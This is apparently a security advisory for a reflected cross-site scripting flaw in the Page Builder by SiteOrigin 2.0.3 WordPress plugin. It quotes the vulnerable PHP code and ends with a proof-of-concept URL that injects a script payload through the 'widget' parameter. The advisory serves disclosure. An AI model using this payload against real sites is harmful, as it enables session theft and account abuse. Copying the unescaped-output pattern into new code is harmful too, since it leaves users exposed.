Page Builder by SiteOrigin 2.0.3 Reflected XSS

Homepage:

https://wordpress.org/plugins/siteorigin-panels/

CVSS Score

3.5

CVSS Vector

(AV:N/AC:M/Au:S/C:P/I:N/A:N)

Description:

$_REQUEST['widget'] is not escaped.

File: siteorigin-panels\inc\admin-actions.php

function siteorigin_panels_ajax_widget_form(){
	$request = array_map('stripslashes_deep', $_REQUEST);
	if( empty( $request['widget'] ) ) exit();

	$widget = $request['widget'];
	$instance = !empty($request['instance']) ? json_decode( $request['instance'], true ) : array();

	$form = siteorigin_panels_render_form( $widget, $instance, $_REQUEST['raw'] == 'true' );
	$form = apply_filters('siteorigin_panels_ajax_widget_form', $form, $widget, $instance);

	echo $form;
	exit();
}
add_action('wp_ajax_so_panels_widget_form', 'siteorigin_panels_ajax_widget_form');

It’s displayed inside siteorigin_panels_render_form().

File: siteorigin-panels\siteorigin-panels.php

function siteorigin_panels_render_form($widget, $instance = array(), $raw = false){
	global $wp_widget_factory;
    print_r($wp_widget_factory->widgets);
	// This is a chance for plugins to replace missing widgets
	$the_widget = !empty($wp_widget_factory->widgets[$widget]) ? $wp_widget_factory->widgets[$widget] : false;
	$the_widget = apply_filters( 'siteorigin_panels_widget_object', $the_widget, $widget );

	if ( empty($the_widget) || !is_a( $the_widget, 'WP_Widget' ) ) {
		// I skip unnecessary lines
		}
		else {
			// This widget is missing, so show a missing widgets form.
			$form =
				'<div class="panels-missing-widget-form"><p>' .
				sprintf(
					__('The widget <strong>%s</strong> is not available. Please try locate and install the missing plugin. Post on the <a href="%s" target="_blank">support forums</a> if you need help.', 'siteorigin-panels'),
					$widget,
					'http://siteorigin.com/thread/'
				).
				'</p></div>';
		}

		// Allow other themes and plugins to change the missing widget form
		return apply_filters('siteorigin_panels_missing_widget_form', $form, $widget, $instance);
	}

	// I skip unnecessary lines

}

Proof of Concept:

XSS will be visible for every registered user.

http://wordpress-url/wp-admin/admin-ajax.php?action=so_panels_widget_form&widget=<script>alert("XSS");</script>

Timeline: